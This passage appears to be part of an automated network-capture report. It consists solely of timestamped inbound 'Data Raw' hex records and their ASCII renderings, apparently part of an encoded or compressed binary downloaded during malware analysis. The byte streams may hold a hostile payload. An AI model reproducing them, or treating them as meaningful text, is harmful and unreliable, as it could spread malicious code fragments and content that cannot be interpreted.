2022-01-14 03:59:52 UTC	7022	IN	Data Raw: d1 ec 14 cb f1 92 8d 61 0e 2f f5 ca 5a 63 a5 ba 28 b5 ae b1 48 b7 24 1b c3 76 d6 11 65 bc bb 5d 32 49 bb ba ba 74 ad 67 91 cc 3c ae 4b 25 0f 29 9d 39 12 75 de ec f3 02 eb 71 07 b6 bb 44 8e 4b 0c 48 c8 50 1d ae cf 70 9b f9 30 3a a9 f6 e3 53 75 3f 22 29 12 b4 3b 38 a8 0d dd 40 28 54 9b 7a 23 db 1b bf fc da 69 a9 dc 75 09 f9 43 9e 91 a9 b1 1f e3 2f a9 f4 21 5c 3d f3 b6 f7 d8 3f df 68 a1 da 3c c1 c0 08 9e 99 ed fa a0 73 c3 94 96 f3 d1 0b 86 d5 5a 25 4e e6 98 32 1c 0b a3 04 d0 93 f3 6c 37 9c 0f 5c 9c 48 25 2c 74 03 71 02 92 1b 37 36 a0 ba 90 09 75 1f 20 5d 90 1a 0c 42 90 94 3c ea ea 02 5e d4 8d d6 7c 85 91 dd 0c d9 45 e5 a3 fa 98 e3 75 16 8e 7f f5 0d 70 6e 48 a4 31 e0 60 ea cb d2 dc fa 39 30 23 27 eb 01 f9 68 e1 b0 18 95 8b ee 8c e7 bc b1 ec ae 3f 4e 80 30 3c Data Ascii: a/Zc(H$ve]2Itg<K%)9uqDKHPp0:Su?");8@(Tz#iuC/!\=?h<sZ%N2l7\H%,tq76u ]B<^\|EupnH1`90#'h?N0<
2022-01-14 03:59:52 UTC	7038	IN	Data Raw: 21 9e cd 9b a0 28 4b 17 c4 c6 c8 ee df c4 1d f2 22 9f d5 3c 8a be ea 08 c3 49 98 4b 7f ef 5d cf 7d 3e b0 01 82 5e 10 ce 55 10 6e 64 09 ef a7 02 74 b7 d5 1a 36 b3 41 aa f3 0d 31 fe fc ee cf c1 b6 af b9 91 8e 3e 26 41 59 76 3d b7 4a 9e db 5d c2 f5 93 bc aa 9f 83 44 ac 0a c5 a1 25 2a 46 37 8d d6 b6 3f be 05 3d 55 35 c0 67 20 41 ea 90 10 ba f2 bb 44 79 fe 1b 9a 4a ef 3f 05 1c e8 70 9b 49 a4 4c 83 4c 85 45 36 f9 28 57 8c 11 a0 23 c6 83 54 f5 2d 80 9f 22 d5 ca 22 51 a2 eb db fb 58 2b 7f 63 0c 4c 50 af 92 9e 31 e6 2c da d9 f1 af e0 35 a8 3d 44 0d 8c 76 66 6d ca 90 24 45 f7 35 b2 a3 ac 0f a7 3e 92 38 2d df 78 ca a0 75 27 78 a0 f6 33 7d b3 c5 bc 98 2e 51 48 9b 07 60 56 5e c7 f1 9b ec 61 a3 5c cc f0 b7 87 d8 28 e4 41 1a 45 f3 da c0 e4 8a ee 94 80 94 7e e9 a3 14 bd Data Ascii: !(K"<IK]}>^Undt6A1>&AYv=J]D%*F7?=U5g ADyJ?pILLE6(W#T-""QX+cLP1,5=Dvfm$E5>8-xu'x3}.QH`V^a\(AE~
2022-01-14 03:59:52 UTC	7054	IN	Data Raw: ce 6f cb 6a a5 d5 f4 87 69 e3 2e 57 6f 59 9a 08 39 71 20 ac 40 24 e7 5e c4 92 89 f8 dc 73 ed b5 9c 52 f9 3f 7d f9 09 67 9e 37 89 53 e1 07 dc 77 be d8 07 bd 27 64 61 7b be 22 f2 f2 43 2e c4 22 94 f7 9e 1d c8 0b 8f 09 a7 9d 0e c4 33 51 4f 30 13 b1 8d 16 14 47 52 16 ed 5d 6c ea 17 79 49 96 56 f6 9c 32 c7 e9 83 b4 65 94 18 11 7b 23 7f 2d 99 76 cb 34 1a bc c1 74 cd b6 ea a6 9f 70 6f 14 2b 8a 39 7d 11 1f cf 6e 20 a9 ed 61 c6 14 5c dd 86 f4 55 cc 68 b3 52 18 00 fb f2 e7 26 ab 97 0c 29 ca 7a 82 ca 2c 00 d6 c3 18 c2 7e 61 f8 85 9a 42 d5 27 98 2c 55 7e 41 45 ee 4c 93 7a 71 ae bb 06 c9 4b b4 1c 4a 5a 14 3a 08 98 fc ea 0c c1 6d d5 5f 52 71 44 c5 fa 92 84 4a 07 57 ce 21 ba 04 82 7d 52 ad 53 80 20 e9 22 a6 4d 8a 67 45 11 46 d3 66 6c ca c2 ca 5c b2 6c 0b 0e 55 e8 6d ba Data Ascii: oji.WoY9q @$^sR?}g7Sw'da{"C."3QO0GR]lyIV2e{#-v4tpo+9}n a\UhR&)z,~aB',U~AELzqKJZ:m_RqDJW!}RS "MgEFfl\lUm
2022-01-14 03:59:52 UTC	7070	IN	Data Raw: 86 8f bb 4d 1c 82 4d 5d f6 cb 85 1c ec ae 8e 17 a5 fc ee 28 29 3b 22 e4 66 b3 c9 87 42 7a 9a 3c 1c e0 8d 4b 86 ac c1 d9 7b 65 30 10 a5 a0 a6 f8 be 0d 37 17 43 7e db 9a 6a 6a a2 36 b3 51 ab 74 d7 c7 2e 28 28 df 02 33 46 5b d8 43 d6 b9 58 6e 00 8a fd a9 50 7b e9 16 d3 21 3d 33 6e 84 74 f5 04 df 5e f6 e1 43 26 56 6c a3 6c f2 e7 25 e9 95 c8 4f 36 e1 80 18 57 02 9f 0f e7 e4 e7 d2 9c a6 6f f1 ac 09 c0 d2 23 a9 87 ba 85 5d ea c9 5b 5a 76 f9 8e af e5 1b ee 08 f9 7d e3 b3 7e a7 9a 17 09 04 d5 53 cf 22 24 16 87 2d ea a4 e7 19 50 25 d4 69 22 f2 d3 62 5d b7 a4 0f e8 70 35 33 a9 1a fc 00 0d b1 1d d9 8a 10 5e 25 53 1f b0 f2 2b 1b 76 17 f2 6e 9b 64 77 f3 10 1e b9 ec 95 dc 90 b1 ae fa cc d1 52 3b de 44 de 38 c1 0c 16 4e 5b 45 94 37 e5 42 c6 e8 9d be b3 f5 77 89 de 67 7b Data Ascii: MM]();"fBz<K{e07C~jj6Qt.((3F[CXnP{!=3nt^C&Vll%O6Wo#][Zv}~S"$-P%i"b]p53^%S+vndwR;D8N[E7Bwg{
2022-01-14 03:59:52 UTC	7086	IN	Data Raw: 44 e7 67 e1 01 fa f7 a1 f5 88 40 b4 53 86 6c 7f 27 a2 75 eb 4c 58 aa 99 64 2d e1 99 ad 18 da 8a a5 a2 58 4c 98 06 dd 5a 6e b8 8c 11 aa 77 56 24 4f b2 88 27 b4 b8 9c dd d8 10 f5 d2 b7 85 26 82 73 4b 47 44 9c ae 48 a8 22 cb 38 05 d2 94 f0 54 22 9e b1 ef 81 1d 09 ba 70 4c d0 a5 4c 19 a3 19 92 25 c8 dc 2c c0 4b 59 a4 44 4b 5c d0 07 1c 85 97 de a2 33 d1 9a 0b 7d fd 50 8c 0a 53 c6 f8 36 f5 4a 87 ba ab 1a 7f 34 8b 3f ec 17 c6 45 a7 da 52 23 4d 7b d1 f0 e7 01 1e 32 26 1a 13 3e e9 d3 c1 aa b7 fd 67 6b 02 19 77 e1 44 7b 59 3e e2 a5 57 e3 c1 60 31 26 2e a3 6f 11 5e 5c 1f 7d 3c 3d 7c 5d 7c 46 6f a3 a1 0d 6a 75 12 f5 7a c7 c9 80 71 db 1d d4 f5 24 e9 24 e8 52 f4 38 5d e7 03 8c 65 9a 72 7e 31 e2 01 ec 2a 29 d3 88 18 cf 80 08 3b bd ef 9a bd 8d 35 05 c1 64 c2 37 05 c6 94 Data Ascii: Dg@Sl'uLXd-XLZnwV$O'&sKGDH"8T"pLL%,KYDK\3}PS6J4?ER#M{2&>gkwD{Y>W`1&.o^\}<=\|]\|Fojuzq$$R8]er~1*);5d7
2022-01-14 03:59:52 UTC	7102	IN	Data Raw: 76 90 af 25 ac fe 6f 04 ff b4 3e 0c 64 39 90 c6 1c e7 f3 a9 24 58 43 87 4a 58 ce 33 ba 75 6b 0e 19 e6 09 80 08 58 ee e7 c9 94 4b a5 c5 89 71 a2 ab 4a 6d 88 95 4e b5 9f 83 dd 76 dc 7e 76 95 3f 0a 4b 80 d8 46 0e 15 71 e2 45 12 1d 05 69 d7 66 0a df a8 5a 2e 4e 30 2a 9c 30 2d b5 c2 d7 9e 70 b5 50 70 26 b6 5c f4 68 3b b9 55 c0 42 06 95 ba 76 18 ee 3b 3f f0 8a be 3e 65 d0 1d b4 62 86 d1 f8 84 25 b4 5c 8f 8b a7 22 bb 5d 06 41 b2 b1 42 4a 33 e7 02 dc 22 96 2c 20 ed ef 67 e0 fa 0a 0c 61 68 c0 8b 00 9f a3 9f 3d be 88 75 a4 8e cb bc b4 23 7e c8 eb db 27 8d bf 51 6f 11 ed bb e1 73 b5 c0 9f 71 a4 87 1c da 6a 7b 37 f8 bd 06 d9 10 f3 85 6c d9 96 15 85 b2 f3 30 bf 14 da 85 41 40 37 2d 8f 99 40 62 5d 05 54 da cf e3 55 71 d8 b6 41 57 f2 3d 9a 91 61 f0 3c bf 73 b1 70 d0 c0 Data Ascii: v%o>d9$XCJX3ukXKqJmNv~v?KFqEifZ.N0*0-pPp&\h;UBv;?>eb%\"]ABJ3", gah=u#~'Qosqj{7l0A@7-@b]TUqAW=a<sp
2022-01-14 03:59:52 UTC	7118	IN	Data Raw: d5 76 87 9a 44 01 1c 5b c3 30 db 1a ae 5e eb 09 cd 70 2e 90 5d ff 13 ad 2c 06 74 d6 54 92 71 52 1c d8 36 08 b6 a1 bf 6d c6 24 a5 0f 67 99 60 37 32 08 6b 4c 55 53 ca c4 91 d1 0d b5 17 75 66 bd ca bc ad 8f fa 06 f0 8c 2e 66 a4 00 50 d1 79 97 03 06 bb a8 4e 38 a0 40 5e 2f c7 b5 5f 50 92 cc eb ae 3c f7 10 fa 6d b8 7d 17 4b 42 6f 37 b1 21 25 0b a8 f2 3b 1e 8b a0 98 79 9d a6 52 d0 76 00 e8 d7 eb 31 0e d1 2c 34 c5 49 ef b2 0f 8d b5 76 2f df c3 b0 12 ba a2 fb 44 ac e7 59 99 0b c6 1c bd 7a 65 8a 4f e2 68 2b c7 9d 3b c3 53 cb d6 e4 8c 67 13 e6 f2 91 97 b7 66 11 63 8a db 2b c3 78 80 0a 60 cd 57 f8 94 c5 9f 26 f3 c0 26 d3 58 09 1f 3e ac 86 e2 4f c5 e8 d1 8a 79 90 f4 be f5 3c 87 c7 c0 b3 23 62 62 0c 2c 7b d2 0d d0 44 d4 ee 3d c0 60 0d 6c 74 19 dc de 8b 2a 8c 1d 09 37 Data Ascii: vD[0^p.],tTqR6m$g`72kLUSuf.fPyN8@^/_P<m}KBo7!%;yRv1,4Iv/DYzeOh+;Sgfc+x`W&&X>Oy<#bb,{D=`lt*7
2022-01-14 03:59:52 UTC	7134	IN	Data Raw: 30 4b 8c 42 68 36 36 31 4d 4d 30 50 77 73 6d 32 66 37 df 30 31 49 4a 62 71 56 a3 5a 31 70 3c 32 71 46 54 00 69 61 78 6f 77 54 7d 70 7a 64 9a 6f 4f 36 99 6e 71 5a 52 50 66 6b 49 75 72 61 43 70 4c 61 65 6b 35 30 69 31 33 4f 65 63 71 42 74 76 49 44 76 72 6a 66 2b 7b 4a 41 08 37 35 31 4f 4d 70 41 04 46 6f 32 6c 3d 76 2f 3b c4 4c 61 71 57 62 89 34 71 32 36 59 7f 54 00 63 12 40 6f 77 5e 64 4b 7a 64 5e 67 48 1e 5a 6d 71 50 75 57 60 66 94 5e 73 61 43 72 64 66 63 6b 33 3c 6b 46 dd 4f 6e 61 62 46 66 72 55 c9 4b 72 6a 66 15 9b 9a 41 68 32 1d 08 4d 4d 7a 23 4d 72 6f 38 09 c6 74 30 37 6f 65 72 74 6e 9b 59 31 70 41 40 70 46 52 13 6f 70 7c 7e 73 45 49 66 15 97 54 6c 49 59 5b 6d 71 50 37 3d 67 6b 4f 64 74 70 47 61 49 78 0c 98 35 30 6a 5a 0e 4f 6e 6d 1e 2d 76 76 4f 55 72 Data Ascii: 0KBh661MM0Pwsm2f701IJbqVZ1p<2qFTiaxowT}pzdoO6nqZRPfkIuraCpLaek50i13OecqBtvIDvrjf+{JA751OMpAFo2l=v/;LaqWb4q26YTc@ow^dKzd^gHZmqPuW`f^saCrdfck3<kFOnabFfrUKrjfAh2MMz#Mro8t07oertnY1pA@pFRop\|~sEIfTlIY[mqP7=gkOdtpGaIx50jZOnm-vvOUr
2022-01-14 03:59:52 UTC	7150	IN	Data Raw: 7a 62 7e 6c 4f 36 27 11 71 5a 5a 50 66 6b db 74 72 61 ef 70 4c 61 5d 69 35 30 60 35 33 4f 6e 67 71 42 77 76 49 44 c7 72 6a 67 a9 4a 4e 41 24 34 35 31 4e 4d 70 50 75 72 6f 33 64 37 74 30 97 49 73 61 c6 57 47 59 6c 72 32 32 7f 46 54 00 69 61 7a 6f 75 54 4c 70 46 64 54 6c 73 34 66 6d 09 58 58 50 6c 6b 49 75 72 61 43 70 4c 61 63 6b 33 30 6c 35 4d 4d 6e 67 f5 40 77 76 4a 44 74 72 68 67 30 4a 55 71 6f 36 8e 31 4d 4d 5f 50 77 63 70 3d eb 08 74 30 30 6c a3 6e 70 56 43 71 08 70 32 38 02 7c 54 00 63 6b 7e 00 55 54 4c 7a 71 1a 49 6c 4f 3c 6a 6a 1e 31 58 50 6c 70 c4 4a 72 61 42 55 9c 88 63 6b 31 18 55 35 33 45 1d 5d 71 42 7d 5e 76 44 74 78 46 49 37 24 6d 41 68 3c 22 bc 71 4d 70 51 52 64 74 bf 59 37 74 31 14 99 9a 61 71 52 6f 60 31 70 38 41 4b 46 54 0a cb 76 15 21 77 Data Ascii: zb~lO6'qZZPfktrapLa]i50`53OngqBwvIDrjgJNA$451NMpPuro3d7t0IsaWGYlr22FTiazouTLpFdTls4fmXXPlkIuraCpLack30l5MMng@wvJDtrhg0JUqo61MM_Pwcp=t00lnpVCqp28\|Tck~UTLzqIlO<jj1XPlpJraBUck1U53E]qB}^vDtxFI7$mAh<"qMpQRdtY7t1aqRo`1p8AKFTv!w
2022-01-14 03:59:52 UTC	7166	IN	Data Raw: 4e 41 92 15 35 31 68 4d 7d 50 26 72 ee 33 76 37 4e 02 31 49 7a 61 7c 56 12 59 b0 71 22 32 c3 7b 54 00 60 61 77 6f 2e 54 4d 70 6a 64 9e 5c 4f 36 6f 6d 7c 5a 05 50 e7 6a 59 75 28 4a 43 70 45 61 6d 6b 4d 30 6f 14 23 4f 9c 7e 71 42 7e 76 47 44 0e 72 eb 66 30 4b 1d 7b 68 36 3c 31 5d 4d 0d 50 76 72 7f 32 50 06 74 30 49 49 66 61 0f 56 44 58 21 70 ac 33 71 46 5d 00 7c 61 e2 6f f4 55 5c 70 2a 75 54 6c 46 36 70 6d ea 5a 59 50 76 6b 6e 44 72 61 3b 70 54 61 f8 6b 36 31 7c 35 ad 4e 6e 67 78 42 6f 76 fc 44 f7 73 7a 67 60 5a 4e 41 61 36 2c 31 f5 4d 71 51 77 72 c5 08 66 37 51 30 2a 49 cb 61 f0 56 57 59 f3 52 32 32 78 46 4f 00 d5 61 fb 6e 67 54 60 31 7a 64 5d 6c 52 36 a4 6d f0 5b 48 50 20 5b 49 75 7b 61 5e 70 8f 61 e2 6a 25 30 92 12 33 4f 67 67 6c 42 b3 76 c8 45 64 72 da Data Ascii: NA51hM}P&r3v7N1Iza\|VYq"2{T`awo.TMpjd\O6om\|ZPjYu(JCpEamkM0o#O~qB~vGDrf0K{h6<1]MPvr2Pt0IIfaVDX!p3qF]\|aoU\puTlF6pmZYPvknDra;pTak61\|5NngxBovDszg`ZNAa6,1MqQwrf7Q0IaVWYR22xFOangT`1zd]lR6m[HP [Iu{a^paj%03OgglBvEdr
2022-01-14 03:59:52 UTC	7182	IN	Data Raw: 5a 4f d9 2f 87 6c d1 68 82 56 87 6a 9a 5b c9 78 c2 72 62 49 b8 72 b4 32 5f 2a 7a 5c 8f 66 0b 60 9a 6f a8 45 2c 55 9c 7e d1 4a 0b 69 96 2f d4 30 97 70 73 4a 96 73 37 15 6f 2d 95 31 74 61 71 64 48 54 62 71 05 6a 93 30 94 4c 04 1a 78 63 45 48 2a 4e 75 74 0a 57 38 76 76 32 7e 4b f9 5d 61 54 2f 54 c1 72 33 65 9d 4d 3e 7b 22 6f af 0b 17 2f 7a 4b 1e 54 7b 42 3e 72 73 64 18 68 53 63 40 78 44 41 51 32 53 70 a0 49 49 54 f1 52 82 36 2f 33 e5 29 28 5d 5a 63 c0 60 cc 43 70 74 ec 0f e3 5c 05 04 97 4b e3 75 26 50 5f 5b e5 7e 05 68 ee 1f c0 77 b8 5a 28 63 b6 6a 28 71 e7 40 e8 6a 1d 65 aa 42 82 2a 88 35 43 7c 64 67 fd 43 15 45 f3 40 e0 73 2f 5a 97 4f aa 41 cf 2c ff 20 24 49 00 63 81 68 ee 30 a1 10 70 2b 40 4d 03 52 7a 4d 36 5d e2 57 27 29 e8 42 4c 1d b3 67 93 6f 07 67 46 Data Ascii: ZO/lhVj[xrbIr2_z\f`oE,U~Ji/0psJs7o-1taqdHTbqj0LxcEHNutW8vv2~K]aT/Tr3eM>{"o/zKT{B>rsdhSc@xDAQ2SpIITR6/3)(]Zc`Cpt\Ku&P_[~hwZ(cj(q@jeB*5C\|dgCE@s/ZOA, $Ich0p+@MRzM6]W')BLgogF
2022-01-14 03:59:52 UTC	7198	IN	Data Raw: 68 50 5c 5d 28 23 11 3d 12 72 2b 53 12 52 20 59 5c 2c 73 06 14 22 18 1a 43 15 53 46 18 29 3a 54 00 0c 1f 6f 36 24 3c 15 14 00 18 05 21 53 66 0a 14 2e 07 1e 03 1c 05 1c 1c 04 43 33 23 0c 01 02 5b 55 6c 79 5c 2c 0f 0b 3c 23 14 1e 20 2a 11 72 2e 06 44 2a 1e 33 07 42 50 52 39 24 1f 3e 24 11 00 42 03 37 10 51 45 28 23 13 1e 22 22 3a 45 19 5d 5c 22 25 3b 70 0c 61 35 1f 12 26 2d 04 13 0b 3a 2f 20 58 12 08 09 2e 0b 33 09 1b 2c 75 02 12 39 32 20 0e 01 3f 4c 40 09 35 70 27 0f 09 16 27 23 0f 39 21 74 24 0b 0b 45 2e 1a 38 18 53 35 7c 28 3e 03 31 10 17 2c 40 03 53 11 5e 45 20 12 0d 25 2f 37 3c 31 03 57 46 2e 05 38 69 0c 0f 0e 2c 05 31 28 15 14 10 3d 0d 23 62 1f 1d 14 5a 0b 35 05 1e 3b 1c 06 18 13 02 23 15 0c 08 5a 5c 38 4c 43 2a 6e 20 14 36 23 0f 39 21 74 15 0f 13 6f Data Ascii: hP\](#=r+SR Y\,s"CSF):To6$<!Sf.C3#[Uly\,<# r.D3BPR9$>$B7QE(#"":E]\"%;pa5&-:/ X.3,u92 ?L@5p''#9!t$E.8S5\|(>1,@S^E %/7<1WF.8i,1(=#bZ5;#Z\8LC*n 6#9!to
2022-01-14 03:59:52 UTC	7214	IN	Data Raw: 5f 32 66 6c 7c 58 59 51 65 6b 49 69 76 61 43 6d 49 67 63 6a 28 35 7e 4c 36 6f 6c 6f 69 4a 7e 56 4d 56 5d 6a 62 75 1d 57 4b 61 69 3e 27 18 49 4b 61 d0 87 76 65 32 66 37 70 45 31 49 73 75 77 43 55 64 30 65 20 b2 f0 43 46 45 7b e1 ff 73 6b 46 cc f9 6c 62 41 7e 72 37 73 7f f1 d7 5d 42 23 79 c9 e4 63 e1 d6 61 cc f4 7f 6d 35 31 6e 27 b3 d6 6d 67 71 4c 72 76 4b 4a 7a 7a 6e 61 22 cb b2 46 6e 23 27 28 4f 43 72 59 71 67 7d 2b 64 25 f4 ad 33 4f 53 60 73 44 c7 c4 35 70 33 2a 7f 43 54 02 71 79 74 69 67 55 4d 6e 7a 7c 51 6c 4f 24 e6 cc 78 5a 58 45 74 66 48 67 f3 35 4a 70 4c 74 71 66 34 22 ed 6d 34 4f 6e 72 63 4f 76 78 40 44 76 67 78 6a 31 45 40 4f 6c 30 27 b0 45 44 76 45 65 6b 6d 20 e6 92 7a 36 11 48 7d 73 f1 f3 44 79 31 7e 31 1a 71 48 5c 06 7c 73 6b 6e 65 d5 50 78 7c Data Ascii: _2fl\|XYQekIivaCmIgcj(5~L6oloiJ~VMV]jbuWKai>'IKave2f7pE1IsuwCUd0e CFE{skFlbA~r7s]B#ycam51n'mgqLrvKJzzna"Fn#'(OCrYqg}+d%3OS`sD5p3*CTqytigUMnz\|QlO$xZXEtfHg5JpLtqf4"m4OnrcOvx@Dvgxj1E@Ol0'EDvEekm z6H}sDy1~1qH\\|sknePx\|
2022-01-14 03:59:52 UTC	7230	IN	Data Raw: 32 22 00 e7 9e 98 93 e0 05 f0 0d 00 04 58 aa af 03 5a 0f ff 00 d1 48 8a 86 41 26 2e 05 00 79 0b e8 4f 4e 5f dc 67 07 a1 08 e9 a3 27 00 cb cc c8 1d 1c c9 d7 cf 05 cd ce db 0e df d9 00 da dc dd de df 1c e0 e1 e3 c0 e4 59 e5 58 0a 50 00 52 51 2e 88 83 b8 4c bc 3e 5a 54 80 b2 31 46 c0 65 c9 50 00 44 1e 8f 80 25 15 10 0f 7f 05 1d d2 8b 88 41 11 89 90 4d 06 40 85 21 cb f5 00 c6 fd d7 80 16 39 f7 77 00 13 74 2f 96 29 03 78 2a 03 f3 a5 ff 81 83 e1 c8 dd a4 21 1c 31 87 74 40 0e fc 43 7c 0f a5 00 05 19 11 fd 35 1a 86 cb 24 06 66 1f 30 22 98 0c 12 0f 81 c4 04 f0 e7 50 99 83 01 eb 97 f2 8a 03 43 7b f7 00 3c 20 76 f5 0e 80 3b 22 75 21 0b 30 7b 01 21 40 60 c6 13 00 02 eb e6 4f 5f 25 ec fa 00 1c 1b 7c 43 06 05 88 14 02 04 40 56 24 13 84 c1 54 d0 d4 f0 dc 76 58 00 29 08 Data Ascii: 2"XZHA&.yON_g'YXPRQ.L>ZT1FePD%AM@!9wt/)x*!1t@C\|5$f0"PC{< v;"u!0{!@`O_%\|C@V$TvX)
2022-01-14 03:59:52 UTC	7246	IN	Data Raw: d0 74 7b 40 e2 00 f2 63 c2 0a e9 f1 5e 07 03 03 a1 0e eb 5f 9d a1 51 d8 eb fb fc f9 7c 60 60 4d 80 16 7d 9e 75 00 7c ba f8 1d 89 b9 00 05 55 98 db e3 6a b1 e1 f4 2a fe 8c 01 5f 2b 03 8d 93 15 14 d7 9b 75 bb 0b 98 19 21 4a 00 01 eb 13 60 1a e1 77 34 00 66 88 0a 46 f4 25 84 c0 1f 74 df 69 80 3b ea ac c4 67 37 75 70 00 51 06 fe b8 58 0c e9 2f 0e 0a 8b 2c fd ef 24 20 e8 13 82 01 7e 03 1c 81 ed e3 3d 50 f7 20 55 2f 08 52 00 89 2e 32 6c 9f fc 26 b1 1e 29 30 c9 40 9d e1 b6 d4 8d 62 00 7f f8 d8 4b 31 e2 e6 97 f2 b0 4c 55 dd 1f 14 91 c0 89 0c 85 17 93 08 75 10 00 de ca 79 03 66 bb 43 88 00 e4 54 aa 2a 49 b9 4e 22 b8 ce 00 75 28 68 be 0b ea 0c 72 00 77 aa b1 40 2c 80 29 1e 01 27 91 16 83 70 7b 04 d8 61 2a 7a 48 00 94 7a 96 3d 43 02 23 01 74 c4 03 39 22 bc f2 34 a2 Data Ascii: t{@c^_Q\|``M}u\|Uj_+u!J`w4fF%ti;g7upQX/,$ ~=P U/R.2l&)0@bK1LUuyfCTIN"u(hrw@,)'p{a*zHz=C#t9"4
2022-01-14 03:59:52 UTC	7262	IN	Data Raw: 0e 28 22 3f 5f 6e c0 e8 93 7a a4 16 a5 00 7d 31 94 89 30 6b 55 3d 00 8b 43 73 f4 44 51 0f ae 00 ba 10 c8 fd 6c 14 20 48 00 81 4c 09 e2 13 d4 08 50 fe 54 07 9e 21 3d 40 58 f5 5c 4f 0f 60 e8 64 47 68 f4 6c 33 70 fa 74 11 78 fd 7c 10 d7 82 df 00 bd f6 49 87 8b 47 44 d0 00 c2 c1 c8 07 98 b1 ea ca 71 12 7c 31 00 03 b7 d8 80 78 8f 8c 4c 00 f2 fe ce 50 11 14 13 f8 7e d6 74 f3 58 3c 90 3f 1d 00 03 49 64 01 02 0d 87 fe a4 16 36 48 78 0e 30 81 80 7c a8 29 6a f9 7d b8 f4 68 0f 88 84 64 4c c3 44 28 81 e0 4e af 39 fc 62 3a 21 48 1c 6c 88 40 64 50 78 7d 81 84 1f 0b c8 9b 5f 4c 40 70 44 8c 32 54 3c 3c 40 b6 95 85 e4 a1 7d 00 74 22 90 19 58 1e 20 ef 00 42 8c f1 0d fa a8 c4 39 f0 78 00 21 94 91 5c e0 28 82 b8 f4 90 00 f2 46 04 58 22 7c 11 98 06 0c 60 8f 10 61 2e 00 79 7f Data Ascii: ("?_nz}10kU=CsDQl HLPT!=@X\O`dGhl3ptx\|IGDq\|1xLP~tX<?Id6Hx0\|)j}hdLD(N9b:!Hl@dPx}_L@pD2T<<@}t"X B9x!\(FX"\|`a.y
2022-01-14 03:59:52 UTC	7278	IN	Data Raw: 42 8d e3 f2 de 91 f0 80 f7 d9 01 8b 14 8f 33 73 54 64 20 f4 20 16 43 34 d1 00 84 bc 03 40 41 75 60 e8 cc d4 e4 3c 50 00 27 81 ec 56 9c 84 89 e7 00 b9 ff 43 4e 8d 70 10 99 1e 76 40 da 40 f5 06 6c 8e 0f ca 7b 89 3d c1 52 01 e8 bb 91 34 96 b0 d0 22 9c 16 06 8e 5e 00 6d 4e cf 16 56 01 00 1e 7e 10 0f c8 c9 cb d1 e6 bc ff c0 cf 89 00 d6 31 ce 21 de 1d 03 3c 02 24 fc 81 c1 cb 02 c0 24 37 3f 07 e4 16 89 7c c6 50 05 3b 01 f7 00 87 ce 31 de 21 b5 03 58 00 d3 48 c1 c8 c4 3a 94 32 e2 fe 00 11 f2 dc de 31 ee 21 f6 00 03 bd 78 5b c6 4a c1 cf 00 3a 7f 8c 86 42 d6 37 f1 00 82 e3 fe 21 d8 03 5c 24 30 63 0c 2a ca 10 3a 00 9c 33 c8 ce 46 f3 82 cf 01 d8 21 69 03 63 c4 18 8b 28 c9 3a 0c 78 52 de 03 2b f0 90 ad 5e 81 b0 91 d1 18 0e 1c 16 87 44 80 72 0e 1d 11 20 0f c8 1e 74 e3 Data Ascii: B3sTd C4@Au`<P'VCNpv@@l{=R4"^mNV~1!<$$7?\|P;1!XH:21!x[J:B7!\$0c*:3F!ic(:xR+^Dr t
2022-01-14 03:59:52 UTC	7294	IN	Data Raw: a1 b1 0a 0c f0 38 6c 00 25 1a 8d 93 0b 7f 79 78 00 82 c7 e8 7b 09 a0 20 0f 06 6a 10 8d 50 83 5f 7f 57 00 9b be 26 42 85 30 71 d8 00 04 c6 40 0a fb c8 7f 10 01 a1 05 14 9c 1c 08 33 c8 09 86 70 30 01 58 f6 be ef 6e d2 42 30 2f b6 00 f0 27 d5 71 b8 e3 da ee 00 df 0f 65 56 f1 e5 e0 61 0e 9e ca 2a 64 00 1c 85 a1 92 d9 07 27 43 cd fc c8 00 2e b7 9c 8e 13 55 ec e6 00 d7 c6 99 e9 af fa 1c f3 ef 61 00 5d 47 c3 a0 de ae 01 ea 4d f6 79 3b f8 e6 c0 01 6c 07 6d 37 78 bc 5c 00 c4 c3 88 42 26 5b 96 ba 00 07 5a 4e 62 73 58 00 a0 f7 fe 76 8f e2 b2 01 00 6d 98 90 d3 a9 ab 4c e0 38 f5 9a 00 dc 99 8b 32 77 33 8f 00 de 18 73 4e 45 c4 12 8e e0 e4 00 fa 04 71 f3 86 78 c5 0f 00 ec 6c 50 46 c0 d0 10 99 2e 63 37 b2 00 18 b7 08 49 66 dd 00 1f 01 97 22 3d cc b4 38 0e a6 c0 16 a7 00 Data Ascii: 8l%yx{ jP_W&B0q@3p0XnB0/'qeVa*d'C.Ua]GMy;lm7x\B&[ZNbsXvmL82w3sNEqxlPF.c7If"=8
2022-01-14 03:59:52 UTC	7310	IN	Data Raw: 69 c8 23 04 b8 84 99 8a 78 06 00 7c 5d 11 08 f6 c2 3b d9 fb 80 ae b5 4a ee cd ec 91 07 0c 13 17 8e 36 c5 6d 07 cf 94 d5 77 24 70 01 f8 e9 42 2e aa c8 ca 00 86 0f 84 f7 c5 90 7a 08 1f 10 e1 49 00 0c 0d 19 18 f1 15 00 20 2a 6b 46 81 5f e5 c8 03 ec c5 16 83 e0 0f 80 34 09 77 0b 06 f6 43 05 00 b9 74 3f 89 bb 0e 16 24 27 2d a0 1c 3e 17 83 c5 09 06 8b 4f 5b 80 17 0a 46 a1 32 f6 a8 01 5c 20 c7 68 64 10 3c e4 31 25 00 f0 1d 3d 90 8a 0b 77 0e 00 46 70 74 14 cb ae 60 15 00 a7 6f f4 a6 25 e1 aa 68 07 ac c1 0b cd 89 13 22 8b b8 30 07 b2 16 01 b3 a2 00 6b 82 83 4b 2e 40 38 d7 5a 00 ac 0e 43 08 94 ec fb 2c 23 ed 8b 03 ff 21 9f d1 b8 0a f9 68 00 a7 4a ef 65 1f a0 a8 23 00 b4 dd 25 d6 0c 5a 62 9a 4a d3 f0 99 50 00 a6 9d 26 7c 65 cf bc 43 07 a5 eb 20 73 29 60 56 c2 0d 50 Data Ascii: i#x\|];J6mw$pB.zI *kF_4wCt?$'->O[F2\ hd<1%=wFpt`o%h"0kK.@8ZC,#!hJe#%ZbJP&\|eC s)`VP
